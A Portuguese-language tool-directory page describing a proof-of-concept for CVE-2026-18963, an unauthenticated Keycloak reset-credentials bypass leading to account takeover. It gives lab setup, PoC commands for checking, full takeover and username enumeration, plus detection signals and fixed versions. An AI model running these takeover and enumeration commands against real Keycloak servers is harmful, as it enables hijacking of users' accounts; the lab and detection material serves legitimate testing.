Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Keycloak_CVE-2026-18963_PoC — Este repositório é um PoC do cve-2026-18963. Use-o apenas em produtos legais (laboratório, local, ...). | Kitploit
Ferramentas/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoLabs e Prática
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Este repositório é um PoC do cve-2026-18963. Use-o apenas em produtos legais (laboratório, local, ...).

Ver Repositório
12há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-18963

Bypass de reset-credentials do Keycloak → tomada de conta não autenticada CVSS 9.1 | Afetado: Keycloak 26.0.0 – 26.7.1

Este laboratório foi reconstruído a partir do README original de snizi/cve-2026-18963-exploit.


Estrutura

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- Script PoC (Python 3.9+, apenas stdlib)
├── README.md
├── docker-compose.yml      <- Ambiente de laboratório
└── realm-poc.json          <- Configuração do realm do Keycloak (importação automática)

Requisitos

  • Docker + Docker Compose
  • Python 3.9+ (apenas biblioteca padrão, nada para instalar)
  • Linux

Passo 1: Iniciar o laboratório

root@kitploit:~
docker compose up -d

Ou execute o Keycloak diretamente, sem a importação do realm:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Aguarde ~30–60 segundos para o Keycloak terminar de iniciar.

Serviços

ServiçoURLVersãoStatus
kc-vulnhttp://localhost:808026.7.1VULNERÁVEL ⚠️
Mailpithttp://localhost:8025latestCaptura e-mails

Credenciais padrão

  • Admin do Keycloak: admin / admin
  • Usuário vítima: victim / OriginalPassw0rd!
  • Realm: poc | Cliente: poc-app
  • Verifique a configuração: Realm settings → aba Login → Forgot password está ATIVADO.
  • Se o realm poc ou o usuário victim estiver ausente, importe manualmente: Manage realms → Create realm → Envie realm-poc.json.

Passo 2: Executar o PoC

Verificação segura (sem necessidade de nome de usuário, sem efeitos colaterais)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Resultado esperado em kc-vuln: [!] VULNERÁVEL — execução do gate de e-mail fornecida


Prova não destrutiva (para no formulário Update Password)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Efeitos colaterais: um e-mail de reset é enviado à vítima (visualize-o em http://localhost:8025), e emailVerified é definido como true.


Tomada completa

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Depois, verifique fazendo login em http://localhost:8080/realms/poc/account com victim / PoCPassw0rd!1.


Enumeração de nomes de usuário

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Passo 3: Restaurar a vítima ao estado inicial

O realm é importado apenas no primeiro boot, então o reset mais simples é recriar o ambiente do zero:

root@kitploit:~
docker compose down -v && docker compose up -d

Alternativamente, redefina a senha manualmente no console de administração (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Encerramento

root@kitploit:~
docker compose down -v

Sinais de detecção

SinalLegítimoExploit
GET /login-actions/action-token?...✅ Sim❌ Não
POST .../reset-credentials com corpo tryAnotherWay=yes❌ Não✅ Sim
SEND_RESET_PASSWORD → UPDATE_PASSWORD com o mesmo code_id < 2 sRaro✅ Sempre
emailVerified muda para true sem evento VERIFY_EMAIL❌✅ Sempre

No Mailpit (http://localhost:8025) o e-mail de reset de senha chega na caixa de entrada da vítima, mas o link dentro dele nunca é clicado quando o exploit é bem-sucedido.


Versões afetadas

Linha de versãoAfetadaCorreção
≤ 17 (WildFly)Não—
26.0 – 26.326.0.0 – 26.x.xNenhuma (mover para 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport do fornecedor)
26.526.5.0 – 26.5.7Nenhuma
26.626.6.0 – 26.6.526.6.6 (backport do fornecedor)
26.726.7.0 – 26.7.126.7.2 ✅

Versões anteriores a 26.0 não são afetadas: a nota persistente AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED e a tela do seletor "Try another way" no fluxo de reset foram introduzidas em 26.0.0. Builds mais antigos simplesmente não possuem o caminho de código vulnerável — isso não é o mesmo que estar corrigido.


Referências

  • Sploitus (README original): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Issue do Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR de correção: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Baixar ferramenta